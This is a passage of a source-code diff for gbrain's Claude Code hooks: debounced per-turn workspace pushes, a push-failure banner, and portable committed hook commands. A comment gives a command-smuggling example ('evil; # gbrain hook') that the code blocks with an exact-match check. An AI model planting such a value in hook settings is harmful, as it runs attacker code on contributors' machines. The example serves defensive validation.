checks.push({ name: 'bootstrap_durability_job', status: 'ok', message: 'crontab pull job installed (no run logged yet — liveness confirmed once it first fires)' });
|
||||
} else {
|
||||
checks.push({ name: 'bootstrap_durability_job', status: 'ok', message: `${js.kind} pull job present and live` });
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch { /* best-effort — durability probing never fails doctor */ }
|
||||
|
||||
// 3. One-live-serve / lock collision note. A live serve is the healthy
|
||||
// shape (it provides hook IPC); the note names the v1 contract.
|
||||
try {
|
||||
|
||||
+276
-34
@@ -67,6 +67,15 @@ import {
|
||||
} from '../core/transcripts/claude-code-jsonl.ts';
|
||||
import { CLAUDE_HOOK_OUTPUT_CAP_CHARS } from '../core/bootstrap/host-specs.ts';
|
||||
import { readManifest, readReceipt, type InstallReceipt } from '../core/bootstrap/format.ts';
|
||||
import { githubOwnerRepoString } from '../core/repo-visibility.ts';
|
||||
import { detectExecutionEnvironment } from '../core/execution-env.ts';
|
||||
import {
|
||||
readPushStatuses,
|
||||
readPushStatusForRoot,
|
||||
sanitizePushReason,
|
||||
summarizePushStatuses,
|
||||
workspaceRootHash,
|
||||
} from '../core/workspace-push.ts';
|
||||
import { realpathOrResolve } from '../core/path-confine.ts';
|
||||
|
||||
// ── Tunables ────────────────────────────────────────────────────────────────
|
||||
@@ -112,6 +121,17 @@ const USER_PROMPT_WINDOW_TURNS = 4;
|
||||
export const PRIOR_CONTEXT_MAX_BYTES = 32 * 1024;
|
||||
/** user-prompt transcript parse budget (tail bytes — the window only needs the newest turns). */
|
||||
const USER_PROMPT_TRANSCRIPT_MAX_BYTES = 2 * 1024 * 1024;
|
||||
/** stop-hook push [D3]: hard budget for the debounce decision + detached spawn
|
||||
* (the spawn itself is instant; the budget bounds the two 1s git probes). */
|
||||
const STOP_PUSH_DEADLINE_MS = 3000;
|
||||
/** stop-hook push debounce default (minutes) for local + ephemeral-container
|
||||
* environments; cloud-sandbox defaults to 0 (every turn) — a reclaimed VM's
|
||||
* tail loss is permanent, everywhere else SessionStart recovery covers it [D17]. */
|
||||
export const STOP_PUSH_DEBOUNCE_MIN_DEFAULT = 5;
|
||||
/** failure banner [D19]: re-announce floor while the same failure persists. */
|
||||
export const PUSH_ANNOUNCE_REFIRE_MS = 30 * 60 * 1000;
|
||||
/** failure banner budget (well under ENG-1's whole-payload cap). */
|
||||
const PUSH_BANNER_MAX_CHARS = 300;
|
||||
|
||||
// ── Test seam ───────────────────────────────────────────────────────────────
|
||||
|
||||
@@ -591,16 +611,19 @@ async function lastSessionLine(): Promise<string | null> {
|
||||
|
||||
async function pushStatusNote(): Promise<string | null> {
|
||||
try {
|
||||
const home = await resolveHome();
|
||||
const p = join(home, 'bootstrap', 'push-status.json');
|
||||
if (!existsSync(p)) return null;
|
||||
const s = JSON.parse(readFileSync(p, 'utf8')) as { ts?: string; ok?: boolean; reason?: string };
|
||||
if (s.ok === false) {
|
||||
return `Workspace push is FAILING (since ${s.ts ?? 'unknown'}): ${s.reason ?? 'unknown reason'} — run gbrain doctor`;
|
||||
// One reader + one aggregation for every status surface [D8]; per-root
|
||||
// files [D13] so one workspace's success can't mask another's failure.
|
||||
const entries = readPushStatuses();
|
||||
if (entries.length === 0) return null;
|
||||
const { failing, stalestTs } = summarizePushStatuses(entries);
|
||||
if (failing.length > 0) {
|
||||
const e = failing[0]!;
|
||||
const which = e.repoRoot ? ` for ${e.repoRoot}` : '';
|
||||
const rest = failing.length > 1 ? ` [+${failing.length - 1} more workspace(s)]` : '';
|
||||
return `Workspace push${which} is FAILING (since ${e.ts ?? 'unknown'}): ${sanitizePushReason(e.reason)}${rest} — run gbrain doctor`;
|
||||
}
|
||||
const t = s.ts ? Date.parse(s.ts) : NaN;
|
||||
if (Number.isFinite(t) && Date.now() - t > PUSH_STALE_MS) {
|
||||
return `Workspace push: last success ${s.ts} (>48h ago) — recent work may be unpushed [B4]`;
|
||||
if (stalestTs !== null && Date.now() - stalestTs > PUSH_STALE_MS) {
|
||||
return `Workspace push: last success ${new Date(stalestTs).toISOString()} (>48h ago) — recent work may be unpushed [B4]`;
|
||||
}
|
||||
return null;
|
||||
} catch {
|
||||
@@ -677,13 +700,10 @@ async function resolveBootstrapWorkspaceRoot(ws: string): Promise<string | null>
|
||||
return root;
|
||||
}
|
||||
|
||||
/** owner/name from a github https/ssh remote URL, or null. Local mirror of
|
||||
* repo.ts's parser (kept here so the engine-free hook doesn't import repo.ts). */
|
||||
/** owner/name from a github https/ssh remote URL, or null. Canonical parser
|
||||
* (repo-visibility.ts is engine-free, so the hook contract holds). */
|
||||
function githubOwnerName(url: string): string | null {
|
||||
const m =
|
||||
/^https:\/\/github\.com\/([^/]+)\/([^/]+?)(?:\.git)?\/?$/.exec(url.trim()) ??
|
||||
/^git@github\.com:([^/]+)\/([^/]+?)(?:\.git)?$/.exec(url.trim());
|
||||
return m ? `${m[1]}/${m[2]}` : null;
|
||||
return githubOwnerRepoString(url);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -706,14 +726,22 @@ async function repoPhaseComplete(root: string): Promise<boolean> {
|
||||
if (!receipt || typeof receipt.repo_url !== 'string' || receipt.repo_url.length === 0) return false;
|
||||
if (realpathOrResolve(receipt.workspace_dir) !== realpathOrResolve(root)) return false;
|
||||
const want = githubOwnerName(receipt.repo_url);
|
||||
if (!want) return false;
|
||||
const fetchUrl = await tryExecAsync('git', ['-C', root, 'remote', 'get-url', 'origin']);
|
||||
if (githubOwnerName(fetchUrl ?? '') !== want) return false;
|
||||
// Push URL (remote.origin.pushurl) via the config key directly (no dash-flag):
|
||||
// unset → `git push` uses the fetch URL (already matched). Only a configured
|
||||
// push URL that points elsewhere blocks the push.
|
||||
const pushUrl = await tryExecAsync('git', ['-C', root, 'config', 'remote.origin.pushurl']);
|
||||
return !pushUrl || githubOwnerName(pushUrl) === want;
|
||||
if (want) {
|
||||
if (githubOwnerName(fetchUrl ?? '') !== want) return false;
|
||||
return !pushUrl || githubOwnerName(pushUrl) === want;
|
||||
}
|
||||
// Non-github repo_url (self-hosted / explicitly-trusted transports): bind
|
||||
// by EXACT URL equality — the recorded url is what the repo phase (or the
|
||||
// operator) verified, and a later remote redirect must still block the
|
||||
// push. Without this branch, every non-github install's no-daemon push
|
||||
// deferred forever (post-#4024 regression).
|
||||
if ((fetchUrl ?? '').trim() !== receipt.repo_url) return false;
|
||||
return !pushUrl || pushUrl.trim() === receipt.repo_url;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
@@ -749,13 +777,7 @@ async function dirtyTreePush(
|
||||
try {
|
||||
const root = await resolveBootstrapWorkspaceRoot(ws);
|
||||
if (!root) return null;
|
||||
const [status, aheadRaw] = await Promise.all([
|
||||
tryExecAsync('git', ['-C', root, 'status', '--porcelain']),
|
||||
tryExecAsync('git', ['-C', root, 'rev-list', '--count', '@{u}..HEAD']),
|
||||
]);
|
||||
const dirty = (status ?? '') !== '';
|
||||
const ahead = aheadRaw !== null ? parseInt(aheadRaw, 10) || 0 : 0;
|
||||
if (!dirty && ahead === 0) return null; // clean + up to date → nothing to recover
|
||||
if (!(await treeNeedsPush(root))) return null; // clean + up to date → nothing to recover
|
||||
// There IS unpushed work. Defer until the repo phase verified privacy +
|
||||
// recorded repo_url — never recover-push to an unverified origin
|
||||
// (create-repo-first race). Only fires when work actually exists (P2-1).
|
||||
@@ -783,6 +805,181 @@ async function dirtyTreePush(
|
||||
}
|
||||
}
|
||||
|
||||
/** True when the workspace has uncommitted changes or commits ahead of
|
||||
* upstream — shared by the SessionStart recovery push and the stop-hook
|
||||
* per-turn push. Two 1s-capped git probes; never throws. */
|
||||
async function treeNeedsPush(root: string): Promise<boolean> {
|
||||
// Dirty tree → always needs a push. For "ahead", measure against the SAME
|
||||
// ref workspacePush targets (origin/<default-branch>), NOT @{u}: a branch
|
||||
// with no upstream makes `@{u}..HEAD` error → 0, which would report a clean
|
||||
// + committed-but-unpushed tree as push_clean and silently strand it (the
|
||||
// exact tail-loss the per-turn push exists to prevent). When the origin ref
|
||||
// doesn't resolve yet (never pushed), any commit past the empty tree counts
|
||||
// as needs-push.
|
||||
const status = await tryExecAsync('git', ['-C', root, 'status', '--porcelain']);
|
||||
if ((status ?? '') !== '') return true;
|
||||
const branch = await tryExecAsync('git', ['-C', root, 'branch', '--show-current']);
|
||||
const b = (branch ?? '').trim();
|
||||
if (b) {
|
||||
const ahead = await tryExecAsync('git', ['-C', root, 'rev-list', '--count', `origin/${b}..HEAD`]);
|
||||
if (ahead !== null) return (parseInt(ahead, 10) || 0) > 0;
|
||||
// origin/<b> doesn't exist (never pushed) → any local commit needs pushing.
|
||||
const have = await tryExecAsync('git', ['-C', root, 'rev-list', '--count', 'HEAD']);
|
||||
return (parseInt(have ?? '0', 10) || 0) > 0;
|
||||
}
|
||||
// Detached HEAD / no branch name — fall back to the upstream measure.
|
||||
const ahead = await tryExecAsync('git', ['-C', root, 'rev-list', '--count', '@{u}..HEAD']);
|
||||
return ahead !== null && (parseInt(ahead, 10) || 0) > 0;
|
||||
}
|
||||
|
||||
// ── stop-hook per-turn push [D3/D17/D20] ────────────────────────────────────
|
||||
//
|
||||
// SessionEnd never fires on /exit (upstream: closed not-planned), can't fire
|
||||
// on crash, and a cloud sandbox VM may simply be reclaimed between turns —
|
||||
// so the Stop boundary (fires after EVERY assistant turn) is the only cadence
|
||||
// that always runs while work exists. Debounced per workspace root, detached
|
||||
// spawn (instant), fail-open everywhere.
|
||||
|
||||
function stopPushStatePath(root: string): string {
|
||||
return join(resolveGbrainHome(), 'bootstrap', `stop-push-${workspaceRootHash(root)}.json`);
|
||||
}
|
||||
|
||||
/** Debounce resolution: env GBRAIN_STOP_PUSH_DEBOUNCE_MIN (minutes; 0 = every
|
||||
* turn) → file-plane config hooks.stop_push_debounce_min → environment-kind
|
||||
* default (cloud-sandbox: 0, everything else: 5). */
|
||||
function stopPushDebounceMs(): number {
|
||||
const env = process.env.GBRAIN_STOP_PUSH_DEBOUNCE_MIN;
|
||||
if (env !== undefined) {
|
||||
const n = Number.parseInt(env, 10);
|
||||
if (Number.isFinite(n) && n >= 0) return n * 60_000;
|
||||
}
|
||||
try {
|
||||
const cfg = loadConfig();
|
||||
const v = cfg?.hooks?.stop_push_debounce_min;
|
||||
const n = typeof v === 'number' ? v : typeof v === 'string' ? Number.parseInt(v, 10) : NaN;
|
||||
if (Number.isFinite(n) && n >= 0) return n * 60_000;
|
||||
} catch {
|
||||
/* tolerant read — fall through to the default */
|
||||
}
|
||||
return detectExecutionEnvironment() === 'cloud-sandbox' ? 0 : STOP_PUSH_DEBOUNCE_MIN_DEFAULT * 60_000;
|
||||
}
|
||||
|
||||
/** Floor for the [D20] failing-status retry cadence: a stuck push (e.g. gh
|
||||
* unauthenticated for a day) must not re-run the full network ladder on every
|
||||
* single turn — one retry a minute keeps recovery fast without the storm. */
|
||||
export const STOP_PUSH_FAILING_RETRY_FLOOR_MS = 60_000;
|
||||
|
||||
/** Decide + (maybe) spawn the per-turn push. Returns the heartbeat reason.
|
||||
* Ordered cheapest-first: the debounce (two file reads) answers the common
|
||||
* case before any git subprocess runs — repoPhaseComplete's git probes only
|
||||
* execute on turns that might actually spawn a push. */
|
||||
async function stopPushIfDue(ws: string, io: HookIo): Promise<string> {
|
||||
if (process.env.GBRAIN_STOP_PUSH === '0') return 'push_disabled';
|
||||
const root = await resolveBootstrapWorkspaceRoot(ws);
|
||||
if (!root) return 'push_skipped_not_bootstrap';
|
||||
|
||||
const stateP = stopPushStatePath(root);
|
||||
let lastTs: number | null = null;
|
||||
try {
|
||||
const s = JSON.parse(readFileSync(stateP, 'utf8')) as { ts?: string };
|
||||
const t = Date.parse(s.ts ?? '');
|
||||
if (Number.isFinite(t)) lastTs = t;
|
||||
} catch {
|
||||
/* missing/corrupt state → due (fail-open) */
|
||||
}
|
||||
// [D20] a failing push bypasses the normal debounce so recovery is fast —
|
||||
// but with a 60s floor so a persistently failing push can't re-run the
|
||||
// network verification ladder on every turn (the push lock bounds
|
||||
// concurrency, not cadence; the banner is already showing the failure).
|
||||
const failing = readPushStatusForRoot(root)?.ok === false;
|
||||
const now = Date.now();
|
||||
// Healthy: the normal debounce (0 = every turn in cloud). Failing: a fixed
|
||||
// 60s retry floor — faster than a long local debounce so a transient failure
|
||||
// recovers within a turn or two, but NEVER every-turn (a Math.min against the
|
||||
// cloud debounce of 0 was a re-run-the-ladder-every-turn storm; adversarial
|
||||
// review caught it).
|
||||
const windowMs = failing ? STOP_PUSH_FAILING_RETRY_FLOOR_MS : stopPushDebounceMs();
|
||||
if (lastTs !== null && now - lastTs < windowMs) return 'push_debounced';
|
||||
// Same privacy gate as SessionEnd: never push before the repo phase has
|
||||
// verified the origin and recorded repo_url (create-repo-first race).
|
||||
if (!(await repoPhaseComplete(root))) return 'push_deferred_repo_pending';
|
||||
if (!(await treeNeedsPush(root))) return 'push_clean';
|
||||
try {
|
||||
// Written BEFORE the spawn so repeated fail-fast children stay debounced
|
||||
// on the healthy path; the [D20] failing-status bypass handles retries.
|
||||
mkdirSync(join(resolveGbrainHome(), 'bootstrap'), { recursive: true, mode: 0o700 });
|
||||
const tmp = `${stateP}.tmp-${process.pid}`;
|
||||
writeFileSync(tmp, JSON.stringify({ ts: new Date(now).toISOString(), root }) + '\n', { mode: 0o600 });
|
||||
renameSync(tmp, stateP);
|
||||
} catch {
|
||||
/* state-write failure must not block the push itself */
|
||||
}
|
||||
try {
|
||||
(io.spawnPush ?? spawnDetachedPush)(root);
|
||||
return 'push_spawned';
|
||||
} catch {
|
||||
return 'push_unavailable';
|
||||
}
|
||||
}
|
||||
|
||||
// ── push-failure banner [D5/D13/D19] ────────────────────────────────────────
|
||||
|
||||
interface PushAnnounceState {
|
||||
announced_ts?: string;
|
||||
last_announce_at?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* The pending ≤300-char failure banner, or null. `record()` marks the due
|
||||
* failures announced and is called ONLY after the banner actually reached
|
||||
* stdout — a deadline-suppressed banner must re-fire next turn. Announce
|
||||
* state is a sidecar next to each per-root status file (`<file>.announced`):
|
||||
* each new failure `ts` announces once, then re-announces at most every
|
||||
* PUSH_ANNOUNCE_REFIRE_MS while the failure persists [D19].
|
||||
*/
|
||||
function pendingPushFailureBanner(): { text: string; record: () => void } | null {
|
||||
try {
|
||||
const failing = readPushStatuses().filter((e) => e.ok === false);
|
||||
if (failing.length === 0) return null;
|
||||
const now = Date.now();
|
||||
const due = failing.filter((e) => {
|
||||
try {
|
||||
const s = JSON.parse(readFileSync(`${e.file}.announced`, 'utf8')) as PushAnnounceState;
|
||||
if (s.announced_ts !== e.ts) return true;
|
||||
const last = Date.parse(s.last_announce_at ?? '');
|
||||
return !Number.isFinite(last) || now - last > PUSH_ANNOUNCE_REFIRE_MS;
|
||||
} catch {
|
||||
return true; // never announced (or unreadable state) → due
|
||||
}
|
||||
});
|
||||
if (due.length === 0) return null;
|
||||
const first = due[0]!;
|
||||
const which = first.repoRoot ?? 'the workspace';
|
||||
const more = due.length > 1 ? ` (+${due.length - 1} more workspace(s))` : '';
|
||||
const text = (
|
||||
`NOTICE: the background workspace push for ${which} is FAILING ` +
|
||||
`(${sanitizePushReason(first.reason)})${more} — work is committed locally ` +
|
||||
'but NOT on GitHub. Run gbrain doctor.'
|
||||
).slice(0, PUSH_BANNER_MAX_CHARS);
|
||||
const record = () => {
|
||||
for (const e of due) {
|
||||
try {
|
||||
writeFileSync(
|
||||
`${e.file}.announced`,
|
||||
JSON.stringify({ announced_ts: e.ts, last_announce_at: new Date(now).toISOString() }) + '\n',
|
||||
{ mode: 0o600 },
|
||||
);
|
||||
} catch {
|
||||
/* fail-open — worst case the banner re-fires */
|
||||
}
|
||||
}
|
||||
};
|
||||
return { text, record };
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// ── user-prompt [ENG-1, S3#8, A9] ───────────────────────────────────────────
|
||||
|
||||
interface UserPromptOutcome {
|
||||
@@ -798,7 +995,18 @@ async function hookUserPrompt(io: HookIo): Promise<number> {
|
||||
if (!expired) write(io, s);
|
||||
};
|
||||
|
||||
// [D5/D19] Same-session failure surfacing: a refused/failed background push
|
||||
// becomes visible on the NEXT turn — to the model via additionalContext AND
|
||||
// to the human via systemMessage ("never silent" must not depend on the
|
||||
// model choosing to relay its own tooling's failure). Embedded in the main
|
||||
// payload when one is written; emitted alone on every degraded path.
|
||||
// Computed INSIDE the deadline-raced closure: its sync file reads must be
|
||||
// budgeted by the 800ms deadline, not free-ride before the race starts.
|
||||
let banner: ReturnType<typeof pendingPushFailureBanner> = null;
|
||||
let wrotePayload = false;
|
||||
|
||||
const work = (async (): Promise<UserPromptOutcome> => {
|
||||
banner = pendingPushFailureBanner();
|
||||
const j = await readStdinJson(io, 300);
|
||||
if (!j) return { outcome: 'degraded', reason: 'no_stdin' };
|
||||
|
||||
@@ -890,19 +1098,27 @@ async function hookUserPrompt(io: HookIo): Promise<number> {
|
||||
|
||||
// [ENG-1] The 10000-char harness cap applies to the WHOLE stdout payload;
|
||||
// the block is budgeted ≤8KB server-side, but JSON escaping inflates, so
|
||||
// trim defensively rather than letting the harness divert-and-drop.
|
||||
// trim defensively rather than letting the harness divert-and-drop. The
|
||||
// banner (≤300 chars, fixed) rides inside the same payload [D5] — only
|
||||
// blockText is trimmed, so the failure notice survives the cap loop.
|
||||
const bannerPrefix = banner ? `${banner.text}\n\n` : '';
|
||||
const buildPayload = (block: string) =>
|
||||
JSON.stringify({
|
||||
hookSpecificOutput: { hookEventName: 'UserPromptSubmit', additionalContext: bannerPrefix + block },
|
||||
...(banner ? { systemMessage: banner.text } : {}),
|
||||
});
|
||||
let blockText = text;
|
||||
let payload = JSON.stringify({
|
||||
hookSpecificOutput: { hookEventName: 'UserPromptSubmit', additionalContext: blockText },
|
||||
});
|
||||
let payload = buildPayload(blockText);
|
||||
while (payload.length > CLAUDE_HOOK_OUTPUT_CAP_CHARS && blockText.length > 0) {
|
||||
blockText = blockText.slice(0, Math.max(0, blockText.length - (payload.length - CLAUDE_HOOK_OUTPUT_CAP_CHARS) - 16));
|
||||
payload = JSON.stringify({
|
||||
hookSpecificOutput: { hookEventName: 'UserPromptSubmit', additionalContext: blockText },
|
||||
});
|
||||
payload = buildPayload(blockText);
|
||||
}
|
||||
if (blockText.length === 0) return { outcome: 'degraded', reason: 'over_cap', turns: turns.length };
|
||||
guardedWrite(payload + '\n');
|
||||
if (!expired) {
|
||||
wrotePayload = true;
|
||||
banner?.record();
|
||||
}
|
||||
// Partial trim is delivery-count drift: the serve already logged the FULL
|
||||
// post-budget set at the response write, but pages cut from the tail here
|
||||
// were never injected. Record it so the doctor's heartbeat reconciliation
|
||||
@@ -927,6 +1143,21 @@ async function hookUserPrompt(io: HookIo): Promise<number> {
|
||||
expired = true;
|
||||
result = { outcome: 'error', reason: errorCode(e) };
|
||||
}
|
||||
// Banner-only emission [D5]: every path that did NOT write the main payload
|
||||
// (no_serve, ipc_unavailable, no_pglite_path, empty windows, transcript
|
||||
// aborts, …) still surfaces the push failure — unless the deadline expired,
|
||||
// in which case record() was never called and the banner re-fires next turn.
|
||||
// (Local copy: TS cannot track the closure-side assignment of `banner`.)
|
||||
const pendingBanner = banner as { text: string; record: () => void } | null;
|
||||
if (pendingBanner && !wrotePayload && !expired) {
|
||||
guardedWrite(
|
||||
JSON.stringify({
|
||||
hookSpecificOutput: { hookEventName: 'UserPromptSubmit', additionalContext: pendingBanner.text },
|
||||
systemMessage: pendingBanner.text,
|
||||
}) + '\n',
|
||||
);
|
||||
pendingBanner.record();
|
||||
}
|
||||
await writeHeartbeat({
|
||||
ts: new Date().toISOString(),
|
||||
event: 'user-prompt',
|
||||
@@ -1031,8 +1262,9 @@ async function hookStop(io: HookIo): Promise<number> {
|
||||
const t0 = Date.now();
|
||||
let outcome: HookHeartbeatEntry['outcome'] = 'ok';
|
||||
let reason: string | undefined;
|
||||
let j: Record<string, unknown> | null = null;
|
||||
try {
|
||||
const j = await readStdinJson(io, 300);
|
||||
j = await readStdinJson(io, 300);
|
||||
const sessionId = sanitizeSessionId(j?.session_id);
|
||||
const dir = await liveBufferDir();
|
||||
const exchange = firstString(j, ['last_assistant_message', 'lastAssistantMessage', 'prompt']);
|
||||
@@ -1047,11 +1279,21 @@ async function hookStop(io: HookIo): Promise<number> {
|
||||
outcome = 'error';
|
||||
reason = errorCode(e);
|
||||
}
|
||||
// Per-turn durability push [D3/D17/D20] — its own try/deadline so the
|
||||
// buffer append above and the heartbeat below are never at risk.
|
||||
let pushReason: string | undefined;
|
||||
try {
|
||||
const ws = io.cwd ?? (typeof j?.cwd === 'string' ? (j.cwd as string) : process.cwd());
|
||||
const raced = await withDeadline(STOP_PUSH_DEADLINE_MS, stopPushIfDue(ws, io));
|
||||
pushReason = raced === DEADLINE ? 'push_unavailable' : raced;
|
||||
} catch {
|
||||
pushReason = 'push_unavailable';
|
||||
}
|
||||
await writeHeartbeat({
|
||||
ts: new Date().toISOString(),
|
||||
event: 'stop',
|
||||
outcome,
|
||||
...(reason ? { reason } : {}),
|
||||
...((reason ?? pushReason) ? { reason: reason ?? pushReason } : {}),
|
||||
duration_ms: Date.now() - t0,
|
||||
});
|
||||
return 0;
|
||||
|
||||
+12
-4
@@ -1556,10 +1556,18 @@ Subcommands:
|
||||
per finding via .gbrain-scan-allow) and on
|
||||
tracked deny-list files (*.pglite, .env*,
|
||||
*.pem, *.key, .gbrain/**). Refuses remotes not
|
||||
verifiably private via gh; single-flight (a
|
||||
concurrent push exits 0 as "skipped"); pushes
|
||||
even on a clean tree. Writes
|
||||
~/.gbrain/bootstrap/push-status.json.
|
||||
verifiably private — verified via REST, falling
|
||||
back to pure git protocol where gh is blocked
|
||||
(cloud proxies); private verdicts cached 1h.
|
||||
Unverified-remote overrides (self-hosted git
|
||||
you trust; every use warns loudly): the flag
|
||||
above, GBRAIN_ALLOW_UNVERIFIED_REMOTE=1, or
|
||||
"gbrain config set push.allow_unverified_remote
|
||||
true" (file-plane — reaches detached hook
|
||||
children). Single-flight (a concurrent push
|
||||
exits 0 as "skipped"); pushes even on a clean
|
||||
tree. Writes per-root status under
|
||||
~/.gbrain/bootstrap/.
|
||||
unharden <id> Remove durability cron/hook/credential wiring.
|
||||
|
||||
Source id: [a-z0-9-]{1,32}. Immutable citation key.
|
||||
|
||||
@@ -36,6 +36,8 @@ import T_ACCESS from '../../../templates/bootstrap/ACCESS_POLICY.md.template' wi
|
||||
import T_MEMORY_README from '../../../templates/bootstrap/memory-README.md.template' with { type: 'file' };
|
||||
// @ts-ignore
|
||||
import T_GITIGNORE from '../../../templates/bootstrap/gitignore.template' with { type: 'file' };
|
||||
// @ts-ignore
|
||||
import T_CLOUD_SETUP from '../../../templates/bootstrap/cloud-setup-script.sh' with { type: 'file' };
|
||||
|
||||
/** Where each rendered file lands, relative to the workspace root. */
|
||||
export interface BootstrapTemplate {
|
||||
@@ -47,6 +49,14 @@ export interface BootstrapTemplate {
|
||||
group: 'identity' | 'contract' | 'scaffold';
|
||||
}
|
||||
|
||||
/** The cloud environment setup script [D16] — NOT a rendered template (it is
|
||||
* pasted into the cloud env config, never written into the workspace). Lives
|
||||
* as a template file deliberately: inline script strings in src modules would
|
||||
* bleed their dashed tokens into the CLI flag registry. */
|
||||
export function loadCloudSetupScript(): string {
|
||||
return readFileSync(T_CLOUD_SETUP as unknown as string, 'utf8');
|
||||
}
|
||||
|
||||
export const BOOTSTRAP_TEMPLATES: BootstrapTemplate[] = [
|
||||
{ assetPath: T_AGENTS as unknown as string, dest: 'AGENTS.md', group: 'contract' },
|
||||
{ assetPath: T_CLAUDE as unknown as string, dest: 'CLAUDE.md', group: 'contract' },
|
||||
|
||||
@@ -36,6 +36,8 @@ import {
|
||||
type AgentManifest,
|
||||
type InstallReceipt,
|
||||
} from './format.ts';
|
||||
import { gitOriginUrl } from './status.ts';
|
||||
import { type RepoReceipt } from './repo.ts';
|
||||
import { BootstrapError } from './lock.ts';
|
||||
|
||||
export type AttachStepKind = 'register_source' | 'hooks_repair' | 'mcp_add' | 'verify';
|
||||
@@ -99,7 +101,23 @@ export function attachWorkspace(workspaceDir: string, opts: AttachWorkspaceOptio
|
||||
const existing = readReceipt(gbrainHomeDir);
|
||||
const sameWorkspace = existing !== null && realpathOrResolve(existing.workspace_dir) === resolvedWs;
|
||||
|
||||
const receipt: InstallReceipt = {
|
||||
// Record repo_url from the adopted origin so the no-daemon push gate
|
||||
// (repoPhaseComplete) recognizes the repo phase as done on this machine —
|
||||
// otherwise the per-turn/session-end pushes defer FOREVER after an attach
|
||||
// (the ONLY install path in a cloud sandbox, where `bootstrap repo` is
|
||||
// refused). This does NOT bypass the privacy gate: workspacePush still runs
|
||||
// the visibility ladder at push time and fails closed on a public/
|
||||
// unverifiable origin. Preserve an existing repo_url on a same-workspace
|
||||
// re-attach; else adopt the current github origin.
|
||||
const existingRepoUrl = sameWorkspace ? (existing as RepoReceipt).repo_url : undefined;
|
||||
const originUrl = gitOriginUrl(resolvedWs);
|
||||
// Record the origin as repo_url whenever one exists — github or self-hosted.
|
||||
// repoPhaseComplete binds by owner/name for github and by exact URL otherwise;
|
||||
// either way workspacePush still runs the visibility ladder at push time, so a
|
||||
// non-verifiable origin stays fail-closed (refused unless the operator sets the
|
||||
// escape hatch). Recording it only clears the "repo phase ran" gate.
|
||||
const adoptedRepoUrl = existingRepoUrl ?? (originUrl ?? undefined);
|
||||
const receipt: RepoReceipt = {
|
||||
receipt_version: 1,
|
||||
workspace_dir: resolvedWs,
|
||||
source_id: manifest.source_id,
|
||||
@@ -111,6 +129,7 @@ export function attachWorkspace(workspaceDir: string, opts: AttachWorkspaceOptio
|
||||
brain_created_by_bootstrap: sameWorkspace ? existing.brain_created_by_bootstrap : false,
|
||||
created_paths: sameWorkspace ? existing.created_paths : [],
|
||||
registrations: sameWorkspace ? existing.registrations : [],
|
||||
...(adoptedRepoUrl ? { repo_url: adoptedRepoUrl } : {}),
|
||||
};
|
||||
// writeReceipt assumes the bootstrap/ subdir exists; attach runs on a fresh
|
||||
// machine where nothing has created it yet.
|
||||
|
||||
+181
-2
@@ -33,6 +33,7 @@ import {
|
||||
} from 'node:fs';
|
||||
import { dirname, isAbsolute, join } from 'node:path';
|
||||
import {
|
||||
CLAUDE_COMMITTED_SETTINGS_FILE_RELPATH,
|
||||
CLAUDE_HOOK_DEFAULT_TIMEOUT_SECS,
|
||||
CLAUDE_HOOK_EVENTS,
|
||||
CLAUDE_HOOK_SUBCOMMAND,
|
||||
@@ -125,6 +126,74 @@ export function buildClaudeHookCommand(
|
||||
return parts.map(shellQuote).join(' ');
|
||||
}
|
||||
|
||||
export function claudeCommittedSettingsPath(workspaceDir: string): string {
|
||||
return join(workspaceDir, CLAUDE_COMMITTED_SETTINGS_FILE_RELPATH);
|
||||
}
|
||||
|
||||
/**
|
||||
* The COMMITTED carrier's command [D12]: PATH-resolved and fail-open. No
|
||||
* absolute binary path — the committed file travels between machines and
|
||||
* cloud sessions; wherever gbrain is not installed the hook exits 0 silently
|
||||
* instead of erroring every turn.
|
||||
*/
|
||||
export function buildPortableClaudeHookCommand(event: ClaudeHookEvent, env: ClaudeHookEnv): string {
|
||||
const assignments: string[] = [`GBRAIN_SOURCE=${env.GBRAIN_SOURCE}`];
|
||||
if (env.GBRAIN_HOME) assignments.push(`GBRAIN_HOME=${env.GBRAIN_HOME}`);
|
||||
const invoke = ['env', ...assignments, 'gbrain', 'hook', CLAUDE_HOOK_SUBCOMMAND[event]]
|
||||
.map(shellQuote)
|
||||
.join(' ');
|
||||
return `command -v gbrain >/dev/null 2>&1 && ${invoke} || exit 0`;
|
||||
}
|
||||
|
||||
/** Events the COMMITTED settings file already carries with our marker [D12]
|
||||
* — the local writer skips these so one event never fires from both files. */
|
||||
/** Pull the GBRAIN_SOURCE value out of a rendered portable hook command so the
|
||||
* exact-match check is agnostic to the (operator-chosen) source id. Returns
|
||||
* null when the command isn't shaped like ours. */
|
||||
function extractHookSource(command: string): string | null {
|
||||
const m = /command -v gbrain >\/dev\/null 2>&1 && env GBRAIN_SOURCE=('[^']*'|[^ ]+) gbrain hook /.exec(command);
|
||||
if (!m) return null;
|
||||
const raw = m[1]!;
|
||||
return raw.startsWith("'") ? raw.slice(1, -1).replace(/'\\''/g, "'") : raw;
|
||||
}
|
||||
|
||||
export function committedHookEvents(workspaceDir: string): Set<ClaudeHookEvent> {
|
||||
const carried = new Set<ClaudeHookEvent>();
|
||||
try {
|
||||
const raw = readFileSync(claudeCommittedSettingsPath(workspaceDir), 'utf8');
|
||||
const parsed = JSON.parse(raw) as { hooks?: Record<string, unknown> };
|
||||
const hooks = parsed?.hooks;
|
||||
if (typeof hooks !== 'object' || hooks === null) return carried;
|
||||
for (const event of CLAUDE_HOOK_EVENTS) {
|
||||
const groups = (hooks as Record<string, unknown>)[event];
|
||||
if (!Array.isArray(groups)) continue;
|
||||
const ours = groups.some(
|
||||
(g) =>
|
||||
typeof g === 'object' && g !== null &&
|
||||
Array.isArray((g as HookMatcherGroup).hooks) &&
|
||||
((g as HookMatcherGroup).hooks as unknown[]).some(
|
||||
(h) =>
|
||||
isOurs(h) &&
|
||||
// A committed file is repo-contributor-writable: a marker + a
|
||||
// bare `includes('gbrain hook')` substring is spoofable
|
||||
// (`evil; # gbrain hook` suppresses the real local install AND
|
||||
// runs attacker code). Require the EXACT portable-command shape
|
||||
// this event would render — the anchored `command -v gbrain …`
|
||||
// guard + `|| exit 0` structure a foreign command can't fake.
|
||||
typeof (h as HookCommandEntry).command === 'string' &&
|
||||
(h as HookCommandEntry).command === buildPortableClaudeHookCommand(event, {
|
||||
